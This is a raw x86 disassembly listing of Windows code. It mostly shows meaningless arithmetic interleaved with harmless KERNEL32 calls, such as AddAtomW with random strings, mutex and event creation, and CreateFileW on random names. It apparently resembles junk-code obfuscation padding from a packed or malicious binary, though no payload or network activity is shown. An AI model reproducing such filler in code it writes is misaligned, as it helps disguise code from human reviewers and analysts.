lea ecx, [ebp - 0x9e50]
push ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 1
lea edx, [ebp - 0x98f4]
push edx
mov eax, dword [0x100bc38c]
push eax
mov ecx, dword [0x100bc388]
push ecx
mov edx, dword [0x100bbca0]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x577c], eax
push 0x1a5b
push 0
push 0x100b9ed4
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x5650], eax
mov eax, dword [ebp - 0x3d14]
mov cx, word [eax]
mov word [ebp - 0x19cc], cx
mov edx, dword [ebp - 0x49a0]
mov eax, dword [0x100b9e58]
mov ecx, dword [edx]
add ecx, dword [eax]
mov dword [ebp - 0x2adc], ecx
mov edx, dword [ebp - 0x4ca8]
mov eax, dword [edx]
mov dword [0x100bc384], eax
mov ecx, dword [ebp - 0x3454]
movzx edx, byte [ecx]
mov eax, dword [0x100bb4b8]
movzx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x257], dl
movsx ecx, byte [ebp - 0xb]
movsx edx, byte [ebp - 0x28f]
or ecx, edx
mov byte [ebp - 0x29b], cl
movsx eax, word [ebp - 0x670]
movsx ecx, word [ebp - 0x196c]
and eax, ecx
mov word [0x100bc22c], ax
push 0x100bb37c
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bc390], eax
lea edx, [ebp - 0x1670]
mov dword [ebp - 0x5780], edx
mov eax, dword [ebp - 0x4c08]
mov ecx, dword [ebp - 0x40e4]
mov edx, dword [eax]
imul edx, dword [ecx]
mov dword [ebp - 0x3048], edx
movsx eax, byte [ebp - 0x144]
mov ecx, dword [ebp - 0x38d8]
movsx edx, byte [ecx]
xor eax, edx
mov byte [0x100b73ae], al
lea eax, [ebp - 0x197]
mov dword [ebp - 0x5784], eax
mov ecx, dword [0x100b96e4]
mov edx, dword [ecx]
mov dword [ebp - 0x5788], edx
mov eax, dword [0x100ba530]
movzx eax, word [eax]
cdq
mov ecx, 0x6af
idiv ecx
mov word [0x100b7514], ax
mov edx, dword [ebp - 0x52d0]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x465c]
movsx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x35ac]
mov word [ecx], ax
mov edx, dword [ebp - 0x3928]
mov eax, dword [edx]
mov dword [ebp - 0x578c], eax
mov ecx, dword [ebp - 0x3690]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x3c9c]
movsx ecx, byte [eax]
shl edx, cl
mov byte [str.M_v_], dl
mov ecx, dword [0x100ba824]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x2d3]
add edx, eax
mov ecx, dword [ebp - 0x52f4]
mov byte [ecx], dl
mov edx, dword [ebp - 0x3ae8]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x502c]
movzx ecx, word [ecx]
sar eax, cl
mov word [ebp - 0x1878], ax
mov edx, dword [0x100bb9c4]
mov ax, word [edx]
mov word [0x100bc394], ax
push str.EuC.AOBp2t_TTH0vqR2
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1794], ax
lea ecx, [ebp - 0x54bc]
mov dword [ebp - 0x5790], ecx
mov edx, dword [0x100ba490]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x5794], eax
movsx eax, word [ebp - 0x1248]
mov ecx, dword [ebp - 0x49e0]
movsx edx, word [ecx]
and eax, edx
mov word [ebp - 0x1128], ax
mov eax, dword [0x100bc02c]
imul ecx, dword [eax], 0x1217
mov dword [0x100b9ee8], ecx
mov edx, dword [ebp - 0x4be4]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x17c]
or eax, ecx
mov edx, dword [ebp - 0x3bb8]
mov byte [edx], al
lea eax, [ebp - 0x9e80]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov cl, byte [0x100b7dff]
mov byte [0x100b8703], cl
mov edx, dword [ebp - 0x3850]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x109c]
xor eax, ecx
mov edx, dword [ebp - 0x5264]
mov word [edx], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bc398], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x5798], eax
push str.Anh4z.BC
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc39c], ax
movzx eax, word [ebp - 0x119c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bc0ac], ax
mov ecx, dword [ebp - 0x523c]
mov edx, dword [ebp - 0x4f84]
add edx, dword [ecx]
mov dword [ebp - 0x2aa0], edx
push str.PPv13CL
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x19d0], ax
push 0x1e00
push 0
push 0x100bbb8c
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x3720], eax
mov eax, dword [ebp - 0x3f50]
mov ecx, dword [ebp - 0x455c]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov dword [0x100ba900], edx
mov eax, dword [ebp - 0x56ac]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x3b40]
movsx eax, word [edx]
and ecx, eax
mov word [ebp - 0x1550], cx
push str.Unhn_VZcFg
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc3a0], ax
push 0x257a
push 0
push 0x100bb2dc
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x579c], eax
mov dword [ebp - 0x57a0], 0x100b7226
mov ecx, dword [ebp - 0x4564]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x45cc]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [0x100bb55c]
mov byte [ecx], dl
mov edx, dword [ebp - 0x35f0]
movsx eax, byte [edx]
movsx ecx, byte [str._w_tY_]
imul eax, ecx
mov byte [ebp - 0x29c], al
lea edx, [ebp - 0x3274]
mov dword [ebp - 0x57a4], edx
mov eax, dword [ebp - 0x35d0]
movzx ecx, word [eax]
mov edx, dword [0x100bb938]
movzx eax, word [edx]
xor ecx, eax
mov word [0x100b7518], cx
push str.1qKTcS7_VS9q7y
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc3a4], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3738], eax
movsx ecx, word [ebp - 0x1714]
mov edx, dword [ebp - 0x49e8]
movsx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x3a34]
mov word [edx], cx
push str.M5mel_O4oi
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc3a8], ax
mov dword [ebp - 0x57a8], 0x100b74fc
mov eax, dword [ebp - 0x3c1c]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x3704]
movzx eax, byte [edx]
or ecx, eax
mov edx, dword [0x100bb16c]
mov byte [edx], cl
mov eax, dword [0x100bbcdc]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x29a]
and ecx, edx
mov eax, dword [ebp - 0x4128]
mov byte [eax], cl
mov ecx, dword [0x100baf80]
mov edx, dword [ecx]
mov dword [ebp - 0x57ac], edx
mov dword [0x100bc3ac], 0x100bbc08
mov eax, dword [ebp - 0x4bec]
movsx ecx, word [eax]
movsx edx, word [0x100b73e8]
imul ecx, edx
mov word [ebp - 0x578], cx
lea eax, [ebp - 0xa88]
mov dword [ebp - 0x57b0], eax
movzx ecx, byte [0x100b8572]
mov edx, dword [ebp - 0x40e8]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [0x100bac38]
mov byte [edx], cl
push 0
push 0x100
push 2
push 0
push 4
push 0x40000000
push str.2Hokh_tC0y
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x57b4], eax
push 0x100bb874
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x57b8], eax
push 0x100bc3b0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx eax, word [ebp - 0x11ac]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x19d4], ax
lea ecx, [ebp - 0x2dc4]
mov dword [ebp - 0x57bc], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9eac], eax
mov edx, dword [0x100bc02c]
mov eax, dword [ebp - 0x5688]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x4814], edx
mov al, byte [0x100b837b]
mov byte [0x100b870e], al
mov ecx, dword [ebp - 0x5264]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0xf38]
sar edx, cl
mov word [ebp - 0xf20], dx
mov eax, dword [ebp - 0x46d8]
movsx ecx, word [eax]
movsx edx, word [0x100b7298]
xor ecx, edx
mov eax, dword [ebp - 0x373c]
mov word [eax], cx
mov ecx, dword [ebp - 0x4af4]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x5348]
movsx ecx, byte [eax]
add edx, ecx
mov eax, dword [0x100bc154]
mov byte [eax], dl
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b9950], eax
mov ecx, dword [ebp - 0x3618]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x47ec]
movzx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x2d8], dl
movzx edx, word [ebp - 0x1940]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x19d8], ax
lea eax, [ebp - 0x3f14]
mov dword [ebp - 0x57c0], eax
mov ecx, dword [ebp - 0x45c4]
mov edx, dword [ebp - 0x3194]
imul edx, dword [ecx]
mov dword [0x100b751c], edx
movsx eax, byte [0x100b7193]
movsx ecx, byte [ebp - 0x293]
xor eax, ecx
mov byte [ebp - 0x221], al
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bc3c8], eax
push 0x100b9a58
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [ebp - 0x57c4], 0x100b7438
lea edx, [ebp - 0xf00]
mov dword [0x100bc3cc], edx
lea eax, [ebp - 0xe7]
mov dword [ebp - 0x57c8], eax
movzx ecx, word [ebp - 0x11b8]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bc3d0], ax
mov edx, dword [0x100ba55c]
mov eax, dword [ebp - 0x4944]
mov ecx, dword [edx]
or ecx, dword [eax]
mov dword [ebp - 0x4a80], ecx
movzx edx, word [0x100b731c]
mov eax, dword [ebp - 0x3e48]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [0x100b9544]
mov word [ecx], dx
mov edx, dword [ebp - 0x2c14]
mov dword [ebp - 0x57cc], edx
movsx eax, byte [0x100b8517]
movsx ecx, byte [ebp - 0x1d9]
sar eax, cl
mov ecx, dword [ebp - 0x381c]
mov byte [ecx], al
mov edx, dword [ebp - 0x54f0]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x494c]
movsx edx, word [ecx]
add eax, edx
mov word [0x100b9f50], ax
mov dword [ebp - 0x57d0], 0x100b8136
push 0x100aaac0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x19dc], ax
mov eax, dword [ebp - 0x3da8]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba834], eax
mov ecx, dword [ebp - 0x4e44]
mov edx, dword [ebp - 0x4328]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x48f0], eax
mov dword [0x100bc3d4], 0x100b7316
push str.LEclG_R7fP_LxW.TC
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x17b8], ax
lea ecx, [ebp - 0xc94]
mov dword [ebp - 0x57d4], ecx
mov edx, dword [ebp - 0x37fc]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x4054]
movzx edx, word [ecx]
imul eax, edx
mov ecx, dword [ebp - 0x502c]
mov word [ecx], ax
mov edx, dword [0x100bae44]
mov eax, dword [ebp - 0x3db8]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov dword [0x100b71dc], ecx
mov dword [ebp - 0x57d8], 0x100bb024
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bc3d8], eax
push 0
push 0x10
push 0
push 0
push 2
push 0x40000000
push str.9z9sciChOdvOQbmxDPU5xZlcR6wHLP
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x57dc], eax
movzx edx, byte [ebp - 0x2a3]
mov eax, dword [ebp - 0x45ec]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x4e], dl
lea edx, [ebp - 0x40c4]
mov dword [0x100bc3dc], edx
mov eax, dword [ebp - 0x499c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x3f9c]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0xa5], cl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bc3e0], eax
mov ecx, dword [ebp - 0x37bc]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100b9af4], eax
lea edx, [ebp - 0xa34]
mov dword [ebp - 0x57e0], edx
mov dword [0x100bc3e4], 0x100b9b9c
movzx eax, word [0x100bb04c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x19e0], ax
movsx ecx, byte [0x100b85c7]
movsx edx, byte [ebp - 0x338]
or ecx, edx
mov byte [ebp - 0x2e4], cl
mov eax, dword [ebp - 0x40d8]
mov edx, dword [0x100b9c70]
mov ecx, dword [eax]
shl edx, cl
mov dword [0x100b7334], edx
lea eax, [ebp - 0xdb4]
mov dword [ebp - 0x57e4], eax
push str.CWQJ_XfWX_R9onxu
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc3e8], ax
lea ecx, [ebp - 0x46]
mov dword [ebp - 0x57e8], ecx
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [0x100bc1b8]
mov ecx, dword [edx]
sar eax, cl
mov dword [0x100b7520], eax
mov ecx, dword [ebp - 0x3670]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x39a0]
movzx ecx, word [eax]
and edx, ecx
mov word [ebp - 0x674], dx
mov edx, dword [0x100b994c]
mov eax, dword [ebp - 0x3980]
mov ecx, dword [edx]
imul ecx, dword [eax]
mov dword [ebp - 0x2b4c], ecx
movsx edx, word [ebp - 0xc54]
mov eax, dword [0x100bbbb8]
movsx ecx, word [eax]
add edx, ecx
mov eax, dword [0x100baf04]
mov word [eax], dx
mov ecx, dword [ebp - 0x5408]
mov edx, dword [ecx]
mov dword [ebp - 0x57ec], edx
mov eax, dword [ebp - 0x37c4]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x3cfc]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x17], cl
mov ecx, dword [ebp - 0x4e80]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x430c]
movsx ecx, byte [eax]
sar edx, cl
mov byte [0x100b84ce], dl
movsx edx, byte [ebp - 0x60]
mov eax, dword [0x100b9c78]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x2b6], dl
mov ecx, dword [ebp - 0x40fc]
mov edx, dword [ecx]
mov dword [ebp - 0x57f0], edx
lea eax, [ebp - 0x2f2]
mov dword [0x100bc3ec], eax
mov ecx, dword [ebp - 0x38f0]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x457c]
movsx ecx, word [eax]
or edx, ecx
mov word [ebp - 0x970], dx
mov edx, dword [0x100bbc88]
movzx eax, word [edx]
movzx ecx, word [0x100bb4a8]
xor eax, ecx
mov word [ebp - 0x1894], ax
mov edx, dword [ebp - 0x4a88]
xor edx, dword [ebp - 0x4654]
mov eax, dword [0x100bb7dc]
mov dword [eax], edx
lea ecx, [ebp - 0xb710]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx edx, byte [ebp - 0x2fa]
movsx eax, byte [ebp - 0x24d]
add edx, eax
mov byte [ebp - 0x44], dl
movzx ecx, word [ebp - 0x1740]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bc3f0], ax
mov edx, dword [ebp - 0x38d4]
mov eax, dword [0x100baed8]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0x4118], ecx
mov edx, dword [ebp - 0x4f8c]
mov al, byte [edx]
mov byte [0x100b870f], al
mov dword [ebp - 0x57f4], 0x100ba044
movsx edx, word [ebp - 0xfc4]
mov eax, dword [ebp - 0x54f0]
movsx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x187c], dx
movsx ecx, byte [0x100b726b]
mov edx, dword [0x100bc358]
movsx eax, byte [edx]
sub ecx, eax
mov byte [0x100b8402], cl
mov ecx, dword [0x100b950c]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x52c4], eax
push 0x3c7
push 0x2aec
push 0x3ccf
push 0x203
mov edx, dword [0x100badb4]
push edx
call dword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [ebp - 0x57f8], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x57fc], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bc3f4], eax
push str.Cde9iHNGD
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc3f8], ax
lea eax, [ebp - 0x9d30]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov cx, word [ebp - 0x141c]
mov word [ebp - 0x19e4], cx
mov edx, dword [ebp - 0x3d34]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x4c84]
shl eax, cl
mov ecx, dword [ebp - 0x49c8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2ca4]
or edx, dword [ebp - 0x33b4]
mov dword [0x100b7524], edx
mov eax, dword [ebp - 0x33e4]
movzx ecx, byte [eax]
mov edx, dword [0x100bad10]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x18e], cl
movsx ecx, word [ebp - 0x16d4]
mov edx, dword [0x100bc200]
movsx eax, word [edx]
and ecx, eax
mov word [ebp - 0xba4], cx
movsx ecx, byte [ebp - 0x113]
movsx edx, byte [str.mmO]
xor ecx, edx
mov eax, dword [0x100ba5e4]
mov byte [eax], cl
push 0x1e61
mov ecx, dword [0x100b9704]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x5800], eax
mov edx, dword [ebp - 0x5498]
push edx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bbf90], eax
mov eax, dword [0x100b9edc]
movzx edx, word [eax]
mov eax, dword [ebp - 0x5560]
movzx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x4444]
mov word [ecx], dx
mov edx, dword [ebp - 0x2bcc]
mov dword [ebp - 0x5804], edx
push 1
lea eax, [ebp - 0x9854]
push eax
mov ecx, dword [0x100ba18c]
push ecx
mov edx, dword [0x100ba188]
push edx
mov eax, dword [ebp - 0x4620]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100bc3fc], eax
mov ecx, dword [ebp - 0x377c]
mov edx, dword [ecx]
mov dword [0x100bc400], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bc404], eax
movzx eax, byte [0x100b7307]
mov ecx, dword [ebp - 0x547c]
movzx edx, byte [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x48c8]
mov byte [ecx], al
lea edx, [ebp - 0xa108]
push edx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bc408], eax
lea eax, [ebp - 0x261]
mov dword [ebp - 0x5808], eax
movsx eax, word [0x100b73a0]
movsx ecx, word [ebp - 0x1278]
cdq
idiv ecx
mov word [0x100b9f50], ax
mov edx, dword [0x100b95f0]
movzx eax, word [edx]
mov ecx, dword [0x100bb040]
movzx ecx, word [ecx]
shl eax, cl
mov edx, dword [ebp - 0x442c]
mov word [edx], ax
mov eax, dword [ebp - 0x4b38]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x3d54]
mov dword [ebp - 0x2fa8], ecx
movsx edx, byte [ebp - 0x27d]
mov eax, dword [ebp - 0x4f20]
movsx ecx, byte [eax]
and edx, ecx
mov byte [0x100b73af], dl
push 0x143e
mov edx, dword [ebp - 0x38d0]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x580c], eax
mov eax, dword [ebp - 0x3940]
mov cl, byte [eax]
mov byte [ebp - 0x340], cl
push 0x3ab
push 0
push 0x100bc080
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100bbf2c], eax
mov edx, dword [0x100ba304]
mov eax, dword [edx]
or eax, dword [ebp - 0x5158]
mov dword [ebp - 0x2bf0], eax
mov ecx, dword [ebp - 0x4fb4]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x6a0]
imul edx, eax
mov word [0x100b7504], dx
movsx eax, word [ebp - 0x1360]
cdq
mov ecx, 0x5cb
idiv ecx
mov word [ebp - 0x1448], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x5810], eax
mov edx, dword [ebp - 0x4c78]
mov dword [ebp - 0x5814], edx
mov al, byte [ebp - 0x1b9]
mov byte [0x100b8742], al
push 0x100bc40c
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0
push 0x1d37
push 0x265a
push 0xd74
push 1
mov ecx, dword [ebp - 0x4a78]
push ecx
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [ebp - 0x555c], eax
push 0x2600
mov edx, dword [0x100bb590]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x5818], eax
mov eax, dword [ebp - 0x408c]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x30d]
sar edx, cl
mov eax, dword [ebp - 0x4924]
mov byte [eax], dl
mov ecx, dword [0x100bbdc8]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xe94]
add edx, eax
mov word [ebp - 0x15dc], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bc430], eax
mov ecx, dword [ebp - 0x5264]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x1280]
and edx, eax
mov word [0x100b732c], dx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100bc434], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x581c], eax
mov ecx, dword [ebp - 0x4efc]
mov edx, dword [ebp - 0x51bc]
sub edx, dword [ecx]
mov dword [ebp - 0x2a7c], edx
mov eax, dword [ebp - 0x4bac]
movsx edx, word [eax]
movsx ecx, word [ebp - 0xe8c]
shl edx, cl
mov word [ebp - 0x650], dx
mov dword [0x100bc438], 0x100bbc3c
movsx eax, byte [ebp - 0x293]
mov ecx, dword [ebp - 0x46b4]
movsx edx, byte [ecx]
or eax, edx
mov ecx, dword [ebp - 0x4ad0]
mov byte [ecx], al
push str.B6.QOPGvs_CUXez
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba800], ax
push 0
push 0x2cfd
push 0x2902
push 0xfa
mov edx, dword [ebp - 0x400c]
push edx
call dword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [0x100bc43c], eax
mov eax, dword [ebp - 0x56f8]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x303]
sar edx, cl
mov byte [0x100b729a], dl
mov dword [ebp - 0x5820], 0x100b7428
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x4bdc], eax
mov eax, dword [ebp - 0x4ea0]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x3018]
mov edx, dword [ebp - 0x35b8]
mov dword [edx], ecx
lea eax, [ebp - 0x2f90]
mov dword [0x100bc440], eax
push str.gk_JsjN8
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x19e8], ax
push 0
lea ecx, [ebp - 0x9814]
push ecx
mov edx, dword [ebp - 0x98d8]
push edx
mov eax, dword [ebp - 0x98dc]
push eax
mov ecx, dword [0x100bb5c0]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100bc444], eax
push 0x100bb09c
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx edx, word [ebp - 0xd64]
mov eax, dword [ebp - 0x5680]
movsx ecx, word [eax]
and edx, ecx
mov word [ebp - 0x19b0], dx
lea edx, [ebp - 0x27d]
mov dword [ebp - 0x5824], edx
mov eax, dword [0x100bbc98]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x4c68]
movzx eax, byte [edx]
xor ecx, eax
mov byte [0x100b7187], cl
mov ecx, dword [ebp - 0x5718]
mov dl, byte [ecx]
mov byte [ebp - 0x341], dl
push str.k2cboj
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x19ec], ax
push str.X7lc
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc448], ax
lea eax, [ebp - 0xb5cc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x36ec]
mov edx, dword [0x100ba810]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x2b8c], eax
mov ecx, dword [ebp - 0x4f5c]
mov dx, word [ecx]
mov word [0x100bc44c], dx
mov eax, dword [ebp - 0x3b40]
mov cx, word [eax]
mov word [ebp - 0x19f0], cx
mov edx, dword [0x100bb468]
mov eax, dword [0x100bb12c]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov dword [ebp - 0x4654], ecx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba288], eax
push str.Zb0yQ
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x19f4], ax
movzx edx, byte [ebp - 0x2f5]
mov eax, dword [0x100baff8]
movzx ecx, byte [eax]
add edx, ecx
mov byte [0x100b814f], dl
lea edx, [ebp - 0x2b8]
mov dword [ebp - 0x5828], edx
mov eax, dword [ebp - 0x308c]
mov ecx, dword [0x100b7230]
sar eax, cl
mov dword [ebp - 0x2e18], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bc450], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9844], eax
mov ecx, dword [ebp - 0x3814]
movzx edx, word [ecx]
movzx eax, word [0x100bb1b8]
or edx, eax
mov word [0x100b7528], dx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x582c], eax
movzx ecx, word [ebp - 0x15cc]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bc454], ax
movzx edx, word [0x100bada4]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x19f8], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bc458], eax
lea eax, [ebp - 0xae58]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx ecx, word [ebp - 0xfd8]
movsx edx, word [ebp - 0x16e8]
and ecx, edx
mov eax, dword [ebp - 0x418c]
mov word [eax], cx
push str.Di_a3c
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc2cc], ax
movzx ecx, word [0x100b7440]
mov edx, dword [ebp - 0x5608]
movzx eax, word [edx]
imul ecx, eax
mov word [ebp - 0x6c4], cx
lea ecx, [ebp - 0x3e]
mov dword [0x100bc45c], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x5830], eax
mov edx, dword [ebp - 0x4738]
mov eax, dword [ebp - 0x5018]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov dword [ebp - 0x2bd0], ecx
mov edx, dword [0x100bb33c]
mov eax, dword [0x100baae8]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x32a0], ecx
mov edx, dword [ebp - 0x3d04]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x35f0]
movsx ecx, byte [ecx]
shl eax, cl
mov byte [0x100b7303], al
mov dx, word [0x100b7448]
mov word [ebp - 0x19fc], dx
mov eax, dword [ebp - 0x4558]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x3684]
movsx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x3d80]
mov word [edx], cx
movsx eax, byte [ebp - 0x116]
mov ecx, dword [ebp - 0x4904]
movsx ecx, byte [ecx]
sar eax, cl
mov edx, dword [0x100b987c]
mov byte [edx], al
movzx eax, byte [0x100b802f]
mov ecx, dword [ebp - 0x5030]
movzx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x56b8]
mov byte [ecx], al
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bc460], eax
